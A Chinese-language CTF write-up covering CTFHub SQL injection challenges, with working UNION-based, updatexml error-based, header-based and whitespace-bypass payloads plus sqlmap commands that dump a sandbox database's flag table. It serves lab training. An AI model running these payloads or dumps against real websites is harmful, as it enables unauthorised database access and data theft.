CTFHub-web(SQL注入)
2021/12/5 2:16:44
本文主要是介绍CTFHub-web(SQL注入),对大家解决编程问题具有一定的参考价值,需要的程序猿们随着小编来一起学习吧!
文章目录
- 整数型注入
- 字符型注入
- 报错注入
- 布尔盲注
- 时间盲注
- Mysql结构
- Cookie注入
- UA注入
- Refer注入
- 过滤空格
整数型注入
按照提示,我们输入1
然后输入
1 order by 2
发现order by 3无法正常回显,证明存在两列
然后我们使用联合查询语句
-1 union select 1,2
我们开始爆库
-1 union select 8,database()
但我们爆表的时候发现出现错误,我们可以把表名转化为16进制,这里需要有火狐的hacker插件
-1 union select 1,group_concat(table_name) from information_schema.tables where table_schema=0x73716c69
然后我们执行
然后我们爆字段
-1 union select 1,group_concat(column_name) from information_schema.columns where table_name=0x666c6167
然后我们查询flag
-1 union select 1,flag from sqli.flag
即可通关
字符型注入
我们输入
/?id=1'
页面回显
我们将最后一个引号注释掉–+
发现可以正常回显
/?id=1'--+
然后我们跟第一关的步骤一样即可通关
查看列数 /?id=1' order by 1,2 --+ 用联合查询语句 /?id=-1' union select 1,2 --+ 查看库 /?id=-1' union select 1,database() --+ 查看表 /?id=-1' union select 1,group_concat(table_name) from information_schema.tables where table_schema=0x73716c69 --+ 查看字段 /?id=-1' union select 1,group_concat(column_name) from information_schema.columns where table_name=0x666c6167--+ 爆字段 /?id=-1' union select 1,flag from sqli.flag --+
得到flag
报错注入
我们尝试输入
/?id=1
回显没有问题
/?id=1'
显示查询错误
我们可以使用语句updatexml,大家可以在网上查找相关资料和用法
我们查看库
/?id=1 and updatexml(1,concat(0x5e,database()),1)
然后我们查看表
/?id=1 and updatexml(1,concat(0x5e,(select group_concat(table_name) from information_schema.tables where table_schema=0x73716c69),0x5e),1)
查看字段
/?id=1 and updatexml(1,concat(0x5e,(select group_concat(column_name) from information_schema.columns where table_name=0x666c6167),0x5e),1)
然后查看字段flag的值
/?id=1 and updatexml(1,concat(0x5e,(select flag from sqli.flag),0x5e),1)
用语句
/?id=1 and updatexml(1,concat(0x5e,mid((select flag from sqli.flag),32),0x5e),1)
即可找到没有显示出来的值
得到完整的flag
布尔盲注
这道题我们使用sqlmap来进行爆破
首先输入
python sqlmap.py -u"http://challenge-fa8f88f443f54784.sandbox.ctfhub.com:10800/?id=1" -batch -dbs
这里python sqlmap.py -u"url" -batch是基本的注入框架,“-dbs”指向数据库。
运行结果
然后我们输入
python sqlmap.py -u"http://challenge-fa8f88f443f54784.sandbox.ctfhub.com:10800/?id=1" -batch -D"sqli" -tables
-D是数据库,“-tables”指向爆破表名。
运行结果
然后我们输入
sqlmap.py -u"http://challenge-fa8f88f443f54784.sandbox.ctfhub.com:10800/?id=1" -batch -D"sqli" -T"flag" -columns
-T是表名,-columns是爆破列名
运行结果
然后我们输入
sqlmap.py -u"http://challenge-fa8f88f443f54784.sandbox.ctfhub.com:10800/?id=1" -batch -D"sqli" -T"flag" -C"flag" -dump
-dump是爆数据,成功得到flag
时间盲注
我们使用sqlmap,跟上一关的方法相同。
Mysql结构
与上一关一样,用sqlmap跑,不一样的是表名,列名不太一样
爆库
库名
爆表
表名
爆列
列名
爆字段
得到flag
Cookie注入
这关我们用burp抓包尝试,发现注入点
爆库
爆表爆列
爆字段
发现flag
UA注入
这关提示ua注入,我们打开burp抓包尝试
在ua处输入
11 union select 1,database()
得到库名
然后爆表
爆列
爆字段
得到flag
Refer注入
同样用burp抓包,发到重发器,然后在头部添加referer信息
即可找到注入点
同样,爆库,爆表
爆列
爆字段
找到flag。
过滤空格
此处过滤的方法为/**/,将所有空格替换即可
输入
-1/**/union/**/select/**/1,database()
-1/**/union/**/select/**/1,group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema=0x73716c69
-1/**/union/**/select/**/1,group_concat(column_name)/**/from/**/information_schema.columns/**/where/**/table_name=0x7378627379796d627771
-1/**/union/**/select/**/1,zzymanwqkx/**/from/**/sxbsyymbwq
得到flag
这篇关于CTFHub-web(SQL注入)的文章就介绍到这儿,希望我们推荐的文章对大家有所帮助,也希望大家多多支持为之网!
- 2024-12-25TypeScript基础知识详解
- 2024-12-25安卓NDK 是什么?-icode9专业技术文章分享
- 2024-12-25caddy 可以定义日志到 文件吗?-icode9专业技术文章分享
- 2024-12-25wordfence如何设置密码规则?-icode9专业技术文章分享
- 2024-12-25有哪些方法可以实现 DLL 文件路径的管理?-icode9专业技术文章分享
- 2024-12-25错误信息 "At least one element in the source array could not be cast down to the destination array-icode9专业技术文章分享
- 2024-12-25'flutter' 不是内部或外部命令,也不是可运行的程序 或批处理文件。错误信息提示什么意思?-icode9专业技术文章分享
- 2024-12-25flutter项目 as提示Cannot resolve symbol 'embedding'提示什么意思?-icode9专业技术文章分享
- 2024-12-24怎么切换 Git 项目的远程仓库地址?-icode9专业技术文章分享
- 2024-12-24怎么更改 Git 远程仓库的名称?-icode9专业技术文章分享